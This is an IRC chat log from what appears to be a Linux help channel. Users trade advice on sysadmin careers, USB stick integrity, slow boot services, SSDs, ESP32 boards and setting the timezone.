03:29 < kazdax> being its an OS that can run on almost any hardware that runs a CPU
03:29 < joepublic> only a very few are only here to score illicit DLLs.
03:29 < nemesys> o/
03:29 < xamithan> A better question would be what we Don't use it for
03:29 < xamithan> Even driving a car is linux nowadays
03:30 < kazdax> i wanna do something cool with digital electronics
03:30 < joepublic> I use it as my daily workstation and run database and web servers with it.  And do some data scraping and crunching.
03:30 < kazdax> first i want to get a job
03:30 < ayecee> it's true. my honda does infinite loops in 5 seconds.
03:30 < kazdax> then i want to make my house a electronic paradise
03:31 < kazdax> i want the latest gadgets ...
03:31 < kazdax> the fastest CPU , the best TV
03:31 < kazdax> but first i need a job
03:32 < kazdax> Red hat certification is what ill focus on
03:32 < kazdax> right now tho ..drinking beer and reading stuff about bash scripting
03:32 < ayecee> if you blow through 5 lines and no one has said anything, you're talking to yourself.
03:32 < xamithan> Do you have sysadmin experience already?  Because just redhat cert alone isn't going to help you
03:33 < kazdax> no but how would i get that experince ?
03:33 < joepublic> among hardcore shell scripters, writing scripts that will only work in bash, not in sh or ksh or ash, is considered poor form.
03:33 < ayecee> normally by slaying the previous sysadmin
03:33 < kazdax> i have been daignosed with schizophrenia ..the goverment will help me with my education and to get a job
03:33 < xamithan> Get a support job then move up after you get some experience
03:33 < joepublic> excellent call ayecee
03:33 < xamithan> Or do a contract job for a few months
03:34 < joepublic> now, let's be careful, "contract job" has multiple meanings
03:34 < kazdax> my association that helps disabled people..will help me find the job i want
03:34 < kazdax> they have certain positions in company reserved for people with disablility
03:34 < kazdax> but i can do it the right way too
03:34 < kazdax> and just do contract jobs
03:34 < kazdax> but its easier that way
03:34 < joepublic> build a server out of junk and start being a server admin, is probably the most direct way to get into it.
03:34 < Umeaboy> kazdax: Have you checked the Indeed app?
03:35 < kazdax> no i havnt umeaboy
03:35 < Umeaboy> Please do.
03:36 < joepublic> Today in my sysadmin life I learned the consequences of * not copying all files with cp and rsync, by the way.
03:36 < dogbert2> shelves looked bare at Frys for a gfx card
03:36 < ayecee> goddamn miners
03:36 < joepublic> I found out with sudden horror that * means "anything that does not start with a dot."
03:37 < joepublic> man the graphics card in this machine is an RX 460 which I swore I would never buy when they came out, but was reduced to when all the cards jumped in price or went away
03:37 < kazdax> i know C and assembler x86
03:37 < kazdax> i self taught myself those things
03:37 < kazdax> i am not good at it
03:38 < joepublic> My discovery was just minutes after, ironically, I said "No problem, I have a nice recent backup."
03:38 < kazdax> but i am alright ..i mean if i learnt a lib ..i could write decent apps
03:38 < xamithan> Did you find out how to copy your . files ?
03:38 < joepublic> I know very little C and no x86 assembler.
03:38 < joepublic> yes xamithan, and I am doing it now.
03:38 < kazdax> i leartn x86 assembler in 2 weeks ..spend around 6 hours everyday with a white bioard
03:38 < kazdax> and a book by a dead Indian man
03:39 < kazdax> sivarama was his name
03:39 < joepublic> I can write (k)sh and php with style and grace
03:39 < kazdax> nice ..i want to do bash scripting myself ..be away from use of pointers
03:39 < kazdax> i can do so much better that way
03:39 < kazdax> pointers is way to complex for me
03:40 < joepublic> shell scripting is not only away from pointer use, it is away from universes where the existence of pointers is known...
03:40 < kazdax> yea ..pointers scare me
03:41 < kazdax> i rather do bash or python
03:41 < joepublic> I am not saying you should learn the language "rust", but I heard it was written by people who don't want to deal with pointers, for people who don't want to deal with pointers.
03:41 < kazdax> perl is another scary looking beast but i enjoyed alittle i learnt about it
03:41 < jimm> get a book called "the c companion"
03:42 < jimm> its a companion text for while you're learning c from a c primer
03:42 < Disconsented> rust might not have pointers but you have to deal with lifetimes
03:42 < Disconsented> which can be hell at times
03:42 < joepublic> I learned c from a c primer in something like 1991.  I didn't like it and it didn't stick.  I don't think that is where I am destined to spend my admin time.
03:43 < kazdax> cool ..i tried going back to the K&R book but i just cant do it anymore .. Maybe as i get my life straighten out alittel .. dos omething easier like System admin .. i might get back into it
03:43 < io_elephant> if i make a copy of a 100 gig file and put it on usd stick, then sh256 -b both source and cope, they should be same correct?
03:43 < joepublic> io_elephant, yes, if the usb stick is not counterfeit.
03:43 < joepublic> or just diff them; diff tells you yes or no
03:44 < joepublic> I spend a lot of time doing "something easier like system admin".
03:44 < joepublic> which users, alas, often confuse with "webmaster" or "clerk"
03:44 < kazdax> i mean system admin might not be that easy ..but i bet its hell lot of fun writting code you dont have interest in writting
03:44 < joepublic> "Can you scan this and put it on our website real quick?"  "No. Next, please."
03:45 < joepublic> I find administering systems to be much much easier than programming in languages where you have to manage your own memory.
03:45 < kazdax> yea
03:45 < kazdax> malloc and stuff like that
03:45 < kazdax> heap allocation
03:46 < kazdax> never quite got the hang ofit
03:46 < io_elephant> What is the quick and sure to figure out if a USB stick is defective?
03:46 < kazdax> i read it but still a mystery lol
03:46 < io_elephant> badblocks didnt show anything
03:46 < joepublic> io_elephant, i'd say you are pretty far along that path right now
03:46 < kazdax> io once when i was in nigeria
03:46 < joepublic> there is a program I heard about that reads the hardware info, but I don't know its name or any more about it
03:46 < kazdax> i bought a usb stick ..that would replicate chinese character text files on my system
03:47 < xoxxxx> inxs?
03:47 < kazdax> that is a sure way to know its messed up
03:47 < joepublic> I bought a 4gb USB stick from the ancient oriental city of shenzhen recently; i figured who would go to the trouble of making a counterfeit 4gb usb stick.
03:47 < joepublic> the answer turned out to be "the men and women of shenzhen"
03:48 < io_elephant> I got a USB stick, copied a VBox image + HD on it, tried to start it but i got gazzilion of errors. Then i created a branch new VBox image + HD on the USB stick and it worked fine. Ran badblocks didnt show anything. Ran SHA256 -b of HD copy on USB and outside and they are different.
03:48 < io_elephant> "branch" should be "brand"
03:49 < joepublic> perhaps there is something inexplicable happening, or perhaps it does not show errors "yet" because the VDI has not grown enough
03:49 < io_elephant> The SHA256 i ran for the HD which i copied onto the USB, not the brand new one i created
03:49 < io_elephant> joepublic: thats what i was thinking too. The HD I copied was 100Gig, and the simple new test HD i created was like 20
03:50 < kazdax> so if i do LFS i can be sure that my system isnt compromized right ?
03:50 < joepublic> kazdax, no, I would not say that.
03:51 < paddy|> forget about lfs cause you will be copy and pasting for hours and thats it
03:51 < kazdax> what if the linux is very mininmal
03:51 < kazdax> and all you install is what you really really need
03:51 < paddy|> install debian base and go package by package from there
03:51 < joepublic> then it will be only as good as the tools put put into it, which depends on your bootstrap system not being compromised, something that lfs cannot guarantee.
03:51 < jimm> for lfs you'd need an existing system first to compile the initial stuff
03:52 < io_elephant> kazdax: afaik, if you create LFS, you have to keep up with updates to different tools manually.
03:52 < joepublic> io_elephant, nah, you could script that.  other people did, and made distros out of the result.
03:52 < kazdax> so what do i do to have a good secure system
03:52 < paddy|> disconnect
03:53 < joepublic> somehow I am interpolating the phrase "without an air gap"
03:53 < kazdax> right its book and pen
03:53 < joepublic> and even the air gap is not guaranteed.  at a russian nuclear research lab this past year, some of the researchers connected airgapped supercomputers to the public internet in the interest of mining cryptocurrency.
03:54 < paddy|> where did you pull that story from?
03:54 < joepublic> russia today
03:55 < joepublic> there is a url if you want to evaluate the trustworthiness of the source (by no means guaranteed accurate)
03:56 < triceratux> https://www.rt.com/news/418339-russia-nuclear-supercomputer-mining/
03:59 < dannylee> this is the END
03:59 < joepublic> so the functions will come afterwards.
03:59 < dannylee> the Doors
04:00 < joepublic> The_Machine, я машина?
04:01 < The_Machine> Probably not, considering I don't know what that means.
04:02 < The_Machine> Unless you were asking, "do you not know what this means?" in which the answer would be "Absolutely!"
04:02 < joepublic> oh.  there is a funny comedy bit called "I am the machine" about a guy on a field trip to russia.  that means "I am the machine"
04:02 < The_Machine> yeah, everyone asks me about it all of the time.
04:02 < The_Machine> I've seen it.
04:02 < The_Machine> My nickname is much older than the bit.
04:03 < joepublic> oh.  well, that's what he said to the probably ficticious russian gangsters.
04:03 < The_Machine> gotcha
04:04 < joepublic> my russian sucks very badly but just enough for me to catch a word or two and feel completely lost.
04:06 < The_Machine> I feel that way about linux.
04:07 < joepublic> That's pretty natural.
04:08 < The_Machine> There really needs to be a matrix style "upload knowledge to your head" that isn't so tedious as reading/learning
04:08 < The_Machine> Although, that might be catastrophic for humanity
04:08 < joepublic> the "magic secret to learning" is, unfortunately, repetition and practice.
04:08 < The_Machine> So how about just for me?  I am The_Machine after all.
04:08 < The_Machine> yeah.  aint nobody got time fo dat.
04:09 < joepublic> heh say it without the sarcasm and you have identified the problem
04:10 < The_Machine> that, and reproductive urges.  it's like, no contest.
04:10 < The_Machine> idiocracy is a documentary.
04:10 < joepublic> A record playing all night.  "ls.  ls.  ls dash a.  ls dash a.  ls dash a pipe less.  ls dash a pipe less"
04:10 < joepublic> idiocracy is in fact a documentary.
04:11 < triceratux> ftw https://jeremy.bicha.net/2018/04/18/gksu-removed-from-ubuntu/
04:11 < joepublic> yeah i heard they replaced it with a telemetry module
04:12 < snugger>  what is the terminal emulator of your choice?
04:13 < joepublic> I use gnome terminal, with a nice color and font scheme profile for each host to help reduce the typing of things in the wrong window.
04:13 < joepublic> excuse me, I use the fork called "mate terminal"
04:14 < triceratux> gksu is always so poorly configured i have to summarily symlink it (along with pkexec) to sudo itself. all better
04:24 < stevendale> Hey
04:24 < The_Machine> chips ahoy
04:33 < D-rex> should I have 2 diffreent flash plugins loading with chromium?
04:33 < D-rex> https://ibb.co/j8ZWcS
04:33 < D-rex> it shows a ppapi and pepperflash
04:33 < D-rex> or are they the same thing?
05:10 < paddy|> okay
05:13 < chamar> hi folks, I got a new laptop and I want to monitor the cpu clock / temp / voltage ... what's the best tool under linux to do so? (something similar to hwinfo on Windows..)
05:14 < matsaman> like constantly monitor?
05:15 < chamar> matsaman: yeah.. I could be a command line tool ... I want to see how to behave under load for let's say 10 mins
05:15 < matsaman> oh, I would just query /proc or /sys or whatever directly in that case
05:16 < chamar> yeah.. I could... but I like little visual tools ;)
05:17 < matsaman> okay sounded like you wanted the opposite there
05:18 < matsaman> https://alternativeto.net/software/gkrellm/
05:18 < matsaman> that should have little GUI widget thingos
05:19 < chamar> matsaman: well. it could be a command line ncurse based tool.. Thanks for the links, having a look
05:22 < cmj> gkrellm is great
05:22 < chamar> Looks old school, but so I am. all good
05:23 < cmj> https://i.imgur.com/jNi8C5Y.png
05:25 < chamar> cool.. I will give it a shot. hopefully it can give me the cpu freq
05:25 < pantato> does anyone know if there is linux support for the epson stylus nx515 printer at all?
05:26 < marktr> https://ubuntuforums.org/showthread.php?t=1365891
05:26 < marktr> :ppls ;ole?
05:26 < marktr> Looks like*
05:26 < cmj> chamar: there is another tool that might have a bit more fluff
05:27 < cmj> conky i think
05:27 < chamar> cmj: ok.. I'll have a look too.. gathering some info on windows first, and I'll compare with  Linux after..
05:29 < cmj> i have used gkrellm for 20 years, but conky is new and squishy https://en.wikipedia.org/wiki/Conky_(software)
05:30 < pantato> marktr: looks like the site linked there doesn't have those drivers available anymore?
05:30 < pantato> either that or google translate is killing the links
05:31 < litewq> any good resources to learn about virtual file system?
05:33 < marktr> pantato: Give it a shot and find out, I don't have one on hand to test but it should be supported.
05:33 < marktr> I have minimal complaints with CUPS
05:33 < CrazyTux> hello, do I need to install NVidia driver for this laptop? https://www.asus.com/Laptops/X540LA/
05:36 < marktr> CrazyTux: https://wiki.archlinux.org/index.php/NVIDIA_Optimus
05:36 < CrazyTux> marktr, thanks
05:36 < marktr> The answer is "maybe sorta depending on what you want?"
05:37 < twainwek> did nvidia ever actually started fully support optimus cards?
05:38 < twainwek> supporting*
05:39 < CrazyTux> details of my laptop
05:39 < CrazyTux> Graphics:  Card-1: Intel HD Graphics 5500 driver: i915 v: kernel
05:39 < CrazyTux>            Display: x11 server: X.Org 1.19.2 driver: modesetting unloaded: fbdev,vesa
05:39 < CrazyTux>            resolution: 1366x768~60Hz
05:39 < CrazyTux>            OpenGL: renderer: Mesa DRI Intel HD Graphics 5500 (Broadwell GT2) v: 4.5 Mesa 13.0.6
05:39 < CrazyTux> Audio:     Card-1: Intel Broadwell-U Audio driver: snd_hda_intel
05:39 < CrazyTux>            Card-2: Intel Wildcat Point-LP High Definition Audio driver: snd_hda_intel
05:39 < CrazyTux>            Sound Server: ALSA v: k4.13.0-1-amd64
05:40 < CrazyTux> do I need to install NVidia driver?
05:47 < ayecee> please use a pastebin in the future
05:47  * alexey-nemovff thinks the same..
05:48 < rafal_m> Hi guys. I've never used IRC before and just wanted to try it out. Having this opportunity I would like to wish a good day to you all.
05:49 < CrazyTux> ayecee, ok
05:49 < alexey-nemovff> welcome rafal_m .. I'm pretty new too
05:49 < alexey-nemovff> ~3 weeks now using IRC..
05:52 < rafal_m> Might be a stupid question and probably depends on the IRC client but whats the difference between a regular text appearing here and a green text? (looks like a private message, if so, how do you send it?)
05:53  * alexey-nemovff is wondering if rafal_m is referring to this kind of messages..
05:53 < ayecee> rafal_m: not sure what you mean. screenshot it?
05:53 < rafal_m> alexey
05:53 < rafal_m> that's right!
05:53 < twainwek> CrazyTux: as the other guy said depends on what you're trying to do
05:53 < alexey-nemovff> =D
05:53 < rafal_m> @alexey-nemovff That's right!
05:54 < rafal_m> But how do you do these things?
05:54 < alexey-nemovff> what client are you using rafal_m ?
05:54 < rafal_m> hexchat
05:55 < CrazyTux> twainwek, ok
05:55 < twainwek> CrazyTux: if you want to have a functioning desktop, almost certainly no. if you want to have full functionality of the graphics card, most likely yes
05:57 < chamar> hha! nice https://github.com/amanusk/s-tui
05:58 < CrazyTux> what could be the reason for random freezing on some distros?
05:59 < ayecee> aliens
05:59 < ayecee> usually aliens
05:59 < CrazyTux> lol
05:59 < rafal_m> :)
05:59 < stevendale> o/
05:59 < stevendale> Not running Windows could also be the problem CrazyTux
05:59 < stevendale> Lol
06:00 < CrazyTux> but, seriously. Only some distros seem to have that problem.
06:00 < stevendale> I actually had my first ever XP BSOD on this laptop this morning :)
06:00 < tabsterleir> Speaking of Windows, Microsoft are making their own Linux for IoT. What timeline is this?!
06:00 < stevendale> xD
06:01 < alexey-nemovff> rafal_m: they are called actions..
06:02 < alexey-nemovff> rafal_m: Should work with '/me something something'
06:02  * rafal_m understands the actions now
06:03 < alexey-nemovff> cool
06:05 < topicali> is it 'normal for it to take 2+ minutes for systemd-udev-settle.service to start?
06:05 < ayecee> probably no
06:05 < rafal_m> alexey-nemovff
06:05 < rafal_m> alexey-nemovff: Hey
06:06 < alexey-nemovff> you got it
06:06 < alexey-nemovff> topicali: systemd isn't normal at all
06:06 < topicali> i think my hosting provider is either BS'ing me, and/or trying to sell me their "managed hosting"
06:08 < topicali> when i asked, this was there response: https://pastebin.ca/4016759
06:08 < topicali> their*
06:09 < ayecee> neat
06:09 < zhangxaochen> 'apt install' says a lib is already installed, while it cannot find the lib file it needs, why is this happening? http://codepad.org/8WV5QYWd
06:09 < tvm> topicali: that is definitely not normal
06:09 < ayecee> zhangxaochen: missing dev package usually.
06:09 < ayecee> ah, wait.
06:10 < ayecee> zhangxaochen: you didn't stat the same name as returned from apt-file
06:10 < ayecee> zhangxaochen: where are you getting that name from
06:11 < tvm> that lib looks like to be in -dev package
06:11 < tvm> but you installed only libvtk-6.2
06:11 < zhangxaochen> oh my mistake, lemme try again
06:11 < topicali> tvm: it's on centos (for whatever relevance that's worth), but i've never had a system hang on any process for that much time on boot
06:12 < zhangxaochen> ayecee, tvm, I try to install -dev package, always resulting 404: http://codepad.org/UO6qhP5I
06:13 < topicali> i'm not cynical, but it certainly sounds, from their response, that they're either incompetent and/or trying to sell something (i pay ~$1400/yr for this dedicated server)
06:13 < ayecee> zhangxaochen: apt update first
06:13 < tvm> ^^
06:14 < ayecee> topicali: no hosting drama please
06:14 < Sonolin> topicali linode runs gentoo and ~$5 a month
06:14 < tvm> topicali: is it VM or physical server ?
06:14 < Sonolin> no systemd = win win
06:14 < topicali> tvm: physical
06:15 < tvm> topicali: did they do the setup ? was it doing this since beginning ?
06:15 < topicali> tvm: yes; i've never personally seen the server, but took their word for it
06:15  * Psi-Jack pets his systemd.
06:15 < topicali> better question: what would cause that process to take that long to start?
06:16 < ayecee> that's not really a good question
06:16 < ayecee> it normally doesn't do that
06:16 < ayecee> and you have all the evidence of why it's doing it in your case
06:16 < topicali> i said better, not good
06:17 < ayecee> so?
06:17 < ayecee> was that intended to correct me?
06:19 < tvm> well, you can either go deep and find the issue, or add some timeout to systemd unit
06:19 < tvm> or not restart your 'server' every day
06:20 < topicali> tvm: i don't regularly reboot it..my concern is if i should be concerned
06:20 < tvm> i wouldn't be
06:20 < topicali> want to make sure my server is 'healthy'
06:20 < topicali> k
06:21 < tvm> some distros will hang for three minutes by default, if they can't get DHCP response
06:23 < topicali> i mean the boottime itself isn't an annoyance or problem (i'm patient), but my concern is that the extended boot time may be indicative of a larger/impending issue
06:26 < ayecee> it's unusual, but not a cause for panic
06:26 < ayecee> it's one of those things to check out sometime when you have nothing else to do
06:27 < tvm> i think it might be some minor incompatbility/bug between the hw and kernel/CentOS
06:27 < NextContestant> test
06:28 < ayecee> may be pretty benign - a piece of hardware takes a long time to initialize. not uncommon for server gear.
06:28 < NextContestant> with wget, using -m for mirroring, is there any way to stop (say for reboot) and to have it continued? Man only states continue are for a file usage
06:29 < topicali> it runs great when it's online..my job is to be paranoid about downtime
06:29 < tvm> topicali: you could actually use udevadm trigger -v to see if it will show you where it hangs
06:29 < ayecee> that's good to be concerned about before it's a problem
06:29 < ayecee> ooh, nice
06:32 < topicali> i certainly don't envy the job of the CIO at my company
06:32 < ayecee> how so?
06:32 < topicali> CSO*
06:33 < ayecee> designated scapegoat
06:33 < topicali> haha
06:33 < topicali> an extreme amount of accountability
06:33 < ayecee> "why do you guys keep calling me DS? i don't know what that means!"
06:34 < topicali> i don't think i would ever sleep at night
06:34 < ayecee> the trick is to not think about it too much
06:35 < ayecee> most of the time it's okay
06:35 < ayecee> some of the time you can can talk your way out of it too
06:36 < topicali> idk if it's more intense earlier or now in terms of cyber warfare/hacking
06:37 < topicali> always feel like if someone has a will to hack something, they'll find a way
06:37 < jimm> for what target?
06:38 < topicali> any target
06:38 < ayecee> the terrorists have won
06:39 < jimm> oh... which one was more intense earlier?
06:39 < Triffid_Hunter> topicali: sounds extreme to me.. my openrc system goes from cold to desktop in 10 seconds flat
06:39 < topicali> oh..i meant more of an issue in the 90's/2000's versus now
06:40 < topicali> as well as the stakes..everything is online now
06:40 < Dagmar> Triffid_Hunter: Nice work.  I've considered trimming up Slackware like that, but it's not like I ever reboot
06:40 < jimm> maybe some of those hacks have mellowed out, and probably became more social
06:41 < tvm> my windows 7 boot in 10 seconds with SSD from cold to desktop
06:41 < Dagmar> tvm: And how long does it take to stop grinding background tasks and let you actually use it
06:41 < tvm> debian with ssd to i3 ? like six
06:41 < topicali> Triffid_Hunter: that's what i'm more used to, hence my concern =/
06:41 < jimm> .lskeys
06:41 < jimm> shoot
06:41 < Triffid_Hunter> Dagmar: heh well I used to never reboot because it took too long, now it takes longer to open firefox than to reboot so I can at least stay relatively up to date wrt kernel and graphics drivers
06:41 < jimm> I know how I can do it
06:41 < strive> tvm: That's FAST.
06:41 < Psi-Jack> But, I haven't taken aim yet, jimm! ;
06:41 < Psi-Jack> :)
06:42 < tvm> strive: you mean windows ?
06:42 < topicali> my rpi3 boots in ~10 secs
06:42 < Triffid_Hunter> tvm: I got win7 in a VM that boots that fast too, he
06:42 < strive> tvm: Ya.
06:42 < jimm> heh,,, now now :P
06:42 < tvm> i think it's the i7/SSD combination that makes it fast
06:43 < jimm> what kind of ssd is it?
06:43 < Dagmar> Also I suspect you don't have Chrome or Steam or a number of other notification window things installed
06:43 < tvm> just some generic kingston
06:43 < tvm> let me actually measure the time
06:43 < Dagmar> I'm not sayin' Win10 is unnaturally slow, but they certainly bring the desktop up long before the thing is actually ready to be used
06:43 < topicali> but overall, boottime isn't as much of a concern vs. stability/security/performance
06:44 < tvm> ok, it's actually 15s
06:44 < Dagmar> jimm: An SSD is actually a major improvement even if it's a cheap on
06:44 < Dagmar> e
06:44 < Triffid_Hunter> https://imgur.com/a/ywwIF is my system if anyone's interested.. lovely performance, fits in a shopping bag or backpack with room to spare
06:44 < Dagmar> Random access on spinny-disks burns quite a lot of time, actually
06:45 < jimm> tvm, oh... is it in a pcie slot? or connected by sata?
06:45 < tvm> jimm: just normal SATA
06:45 < Dagmar> Even netbooks booting off internal sdcard media boot up really fast
06:45 < tvm> however, it's not 10s, it's 15s
06:45 < topicali> ssd rocks..i used to do wedding photography, and an assistant dropped a hdd..took $1200 for a lab to recover the data
06:45 < Psi-Jack> Wait, RPI3 with SATA?
06:45 < tvm> but feels still like fastest thing that i've ever had
06:46 < Dagmar> topicali: Sweet crap that's one heck of a use case for external ssds
06:46 < jimm> I think he said he has an i7 :P
06:46 < Triffid_Hunter> Jimm: mine's an NVMe.. basically PCIe x4 in the M.2 slot
06:46 < topicali> Dagmar: this was ~10 yrs ago..def all SSD now!
06:46 < Triffid_Hunter> ironically, sata itself is the bottleneck these days rather than the speed of the underlying storage
06:46 < tvm> how can one live without SSD after trying it ?
06:47 < jimm> those should be among the fastest
06:47 < topicali> besides the speed, ssd is safer
06:47 < topicali> no moving parts
06:47 < tvm> it's always about backups
06:47 < topicali> tvm: that's for sure
06:47 < Sonolin> eh I'm indifferent to SSDs, doesn't really make a huge difference IMO
06:47 < jimm> yep, pretty much, backup or die
06:48 < Sonolin> I mean yea, boots up faster, but really its not a huge deal
06:48 < topicali> data loss is a nightmare
06:48 < Psi-Jack> tvm: Did you say you have an RPi3 with SATA (and thus SSD?)
06:48 < tvm> i like my average Jetbrains IDE to boot from SSD instead of normal drive
06:48 < tvm> Psi-Jack: nope, it's regular Dell box
06:48 < Psi-Jack> Ahh okay,
06:49 < tvm> is that even possible to hack SATA on RPi3 ?
06:49 < Sonolin> if you're running Jetbrains its going to be slow no matter where it runs ;)
06:49 < Psi-Jack> tvm: It might be. heh
06:49 < tvm> Sonolin: it boots in <5s with SSD
06:49 < tvm> that is reasonably fast for me
06:49 < Sonolin> In my experience with JetBrains, the boot time is not the main factor
06:49 < Psi-Jack> https://www.amazon.com/Raspberry-Expansion-Geekworm-Storage-interface/dp/B073CGQD9C
06:50 < Psi-Jack> Apparently so, with the RPi3 B+
06:50 < topicali> 'cloud' backups is also key
06:50 < Sonolin> memory & indexing are two other concerns that seem to take forever no matter the device
06:50 < topicali> storage is so cheap these days
06:50 < tvm> oh, that actually reminds me that i should get some Rpi3 B+'s from my CTO today
06:50 < Sonolin> but I digress, a little salty tonight
06:51 < tvm> Sonolin: yeah, those take usually some time, but i'm not bothered with it
06:52 < topicali> rpi is the coolest 'project' i've seen..especially for younger folks
06:52 < topicali> super inexpensive
06:52 < tvm> it's cool, unless you develop commercial software for that device and try to sell it in thousands, which i unforunately do
06:52 < Psi-Jack> topicali: Check out the ESP-32 microcontrollers. :)
06:53 < Sonolin> tvm yea definitely my choice in IDEs, although I never seem to load it up more than once or twice a week
06:53 < Sonolin> mostly for debugger, when VDebug just deosn't cut it
06:53 < Sonolin> *doesn't
06:54 < topicali> Psi-Jack: never messed around with that one, but SoC devices rock
06:54 < topicali> at least for sandboxing/prototyping/learning
06:54 < Psi-Jack> ESP-32 isn't a SoC, but a microcontroller.
06:54 < topicali> oh, thought it was a SoC
06:54 < tvm> in fact, i should receive like 10 various SoCs today as we aren't still sure what to use for this project
06:55 < tvm> and some previous SoCs turned out to be problematic as always
06:56 < Psi-Jack> topicali: Heh, Using the Arduino IDE and Platform I/O, I designed a series of ESP-32 based control units in my house to handle automation and security. A VM being the primary central control, replicated to a RPi3 that's hidden elsewhere. :)
06:56 < tvm> it kinda sucks when you discover badly reproducible hardware/driver bug late in your project that makes whole platform useless
06:56 < Sonolin> g'night all
06:56 < topicali> ah i remember getting my pic12f629 programmer to make ps1 modchips for my friends
06:56 < topicali> sweet nostalgia
06:56 < stevendale> Hey
06:57 < topicali> Psi-Jack: what's price does it go for?
06:57 < Psi-Jack> topicali: Hmmm, About $5. :)
06:58 < topicali> damn!
06:59 < topicali> ^pic12c508^
06:59 < topicali> Psi-Jack: and that's on amazon?
06:59 < Psi-Jack> Yep. Got an ESP32 on my garage door opener, in my bathrooms controlling humidity sensors for the exhaust vents, door sensors, security control panels in the house, light switches, and more. :)
06:59 < Psi-Jack> topicali: No, Aliexpress, direct from China.
07:00 < topicali> never used aliexpress..it's pretty legit?
07:00  * luke-jr tries Linux 4.16 with DRM/Radeon from 4.15 :/
07:01 < Psi-Jack> topicali: Use the heck outta them. Takes a few days, but they've got a great rep, and Aliexpress will refund you if the shipper is fraud.
07:01 < topicali> i'm just looking at its wiki page https://en.wikipedia.org/wiki/ESP32
07:02 < topicali> looks like a great bang for the buck
07:02 < Psi-Jack> topicali: The ESP8266 is similar, previous model, still reliable, is also pretty good, got a couple of those too. :)
07:02 < tvm> Psi-Jack: that looks pretty badass
07:02 < Psi-Jack> :)
07:03 < Psi-Jack> Yeah, pretty solid stuff. Pretty much gave me the first time reason to really learn C++
07:03 < Psi-Jack> Though you can use JavaScript or LUA as well, depending on what firmware you use (with the ESP8266 anyway)
07:03 < tvm> or micropython :D
07:03 < Psi-Jack> Yes, micropython. :)
07:04 < topicali> ah just realized i bought some knock-off nfl jerseys from aliexpress in the past
07:04 < Psi-Jack> The biggest issue I have really is the TLS support is currently limited.
07:04 < stevendale> Writing a 60 GB VMDK file to HDD
07:04 < Psi-Jack> TLS 1.0 is still "common" but higher is ... WIP.
07:04 < topicali> i'm gonna order some of those microcontrollers...there's a lot of fun stuff on that board
07:05 < Psi-Jack> topicali: I'
07:05 < Psi-Jack> topicali: I've bought several models of various vendors, if you want thoughts.
07:05 < Johnjay> oh weird i thought i was in #esp8266
07:05 < Psi-Jack> LOL
07:05 < Johnjay> i'm actually ordering a dev board with that soon from aliexpress
07:05 < topicali> Psi-Jack: which/what would u suggest?
07:06 < Psi-Jack> topicali: So far, in the ESP32's, I've only gotten LoLin32 models, which aren't that great, dev model, but they do what I wanted. For ESP8266, small purposes, WeMoS is excellent.
07:06 < jimm> please expand the u...
07:07 < Psi-Jack> That or any NodeMCU (you can reflash with any firmware)
07:07 < Johnjay> what's special about the lolin32?
07:07 < Johnjay> https://hackaday.com/tag/lolin32/
07:08 < Psi-Jack> Johnjay: Nothing, really. I was an early adopter of the ESP32, and Lolin32 was one of the first out. :)
07:08 < stevendale> What's sad? My Intel GMA 4500 MHD outperforms my NVIDIA GeForce 8400 GS 256 MB
07:09 < jimm> topicali, has someone explained the deal behind u and this channel?
07:10 < topicali> jimm: 'deal'?
07:11 < Johnjay> very strange, this article is talking about radio reception thousands of miles away with just some batteries?
07:11 < Johnjay> https://hackaday.com/2016/03/08/how-low-can-you-go-the-world-of-qrp-operation/
07:12 < stevendale> If we didn't have world wars going on the whole time and weren't stuffing around in religion and politics, and we allocated every available resource to science and technology, we wouldn't just have colonized mars, we would be building platforms with artifial gravity and self-producing oxygen, designed to float inside the outer atmosphere Jupiter and Saturn, and harvest the gaseous material,
07:12 < stevendale> and then ship it in shuttles back to Mars
07:12 < jimm> yeah... basically we don't want to permit those kinds of abbreviations, mostly because they don't work the same way with every human language... some nonenglish speakers dont know that u rhymes with you
07:12 < jimm> I just wanted to make sure you understood why
07:14 < jimm> anyway I'm out for a bit
07:14 < topicali> jimm: ??
07:14 < Psi-Jack> topicali: In short, don't use "u", instead use "you". :)
07:15 < topicali> ahhh
07:15 < topicali> gotcha :)
07:15 < topicali> understood
07:15 < stevendale> Can I have fries with that Psi-Jack o/
07:16 < topicali> very used to typing in 'shorthand'
07:16 < topicali> will refrain
07:16 < Psi-Jack> Much appreciated. Personally, I absolutely hate shtspk (aka sms-speak, aka shorthand).
07:17 < topicali> sms-speak is a very good way of putting it
07:17 < Sveta> my horse riding coach used 200% font size in sms and they were still complete sentences
07:17 < tvm> Psi-Jack: same here, but it was declining lately it seems
07:18 < tvm> ~15-20 years ago, people would use 'u' and the like more often
07:18 < tvm> at least on IRC
07:19 < topicali> i certainly appreciate the fact that some folks aren't native english speakers
07:19 < topicali> and will respect that
07:26 < p3rL> how do i change the timezone by terminal
07:27 < topicali> p3rL: depending on the distro, edit /etc/sysconfig/clock
07:27 < topicali> or /etc/localtime
07:28 < stevendale> Brb
07:28 < blaztek> p3rL: or the TZ variable....if you don't want it system wide
07:29 < luke-jr> /etc/timezone on Gentoo
07:29 < p3rL> is this correct >> cp /usr/share/zoneinfo/Asia/Qatar /etc/localtime
07:30 < Dagmar> Probably
07:30 < p3rL> cool
07:30 < p3rL> done
07:30 < p3rL> tyx
07:30 < luke-jr> your OS might overwrite it if you do it that way, though
07:30 < topicali> p3rL: if that's your timezone, and /etc/localtime is where your distribution exists, then yes
07:31 < topicali> rather, where your distribution's timezone information exists
07:31 < john_rambo>  I am trying to configure my Gmail (pop3) a/c with Claws-Mail ...Its ending with >>>Authentication failed:-ERR [AUTH] Web login required: https://support.google.com/mail/answer/78754
07:31 < p3rL> actually i need to change the ircd log time its shows vps current time not my country
07:31 < p3rL> so i change it to... my country time log
07:32 < topicali> p3rL: what distribution/flavor of linux are you using? e.g. debian, fedora, gentoo, centos, ubunto, etc.
07:32 < p3rL> uubuntu
07:33 < Dagmar> When in doubt there's always the tzselect script
07:33 < topicali> p3rL: https://help.ubuntu.com/community/UbuntuTime
07:33 < topicali> or from the command line: sudo dpkg-reconfigure tzdata
07:34 < p3rL> now its chanaged when i copy /etc/localtime
07:34 < p3rL> ~$ date
07:34 < p3rL> Thu Apr 19 10:33:52 PKT 2018
07:34 < Dagmar> Well, yes.
07:34 < p3rL> but the log file still same xD
07:34 < topicali> p3rL: in ubuntu (according to the documentation), the timezone information is stored in /etc/timezone
07:35 < p3rL> letme try to restart
07:35 < Dagmar> What, the syslog?
07:35 < p3rL> no proxy logs
07:35 < Dagmar> Hrm... Poke the service and restart it
07:36 < p3rL> still ..
07:36 < p3rL>  2018-04-19 07:36 +02:00:
07:36 < p3rL> i wanna change this time xD
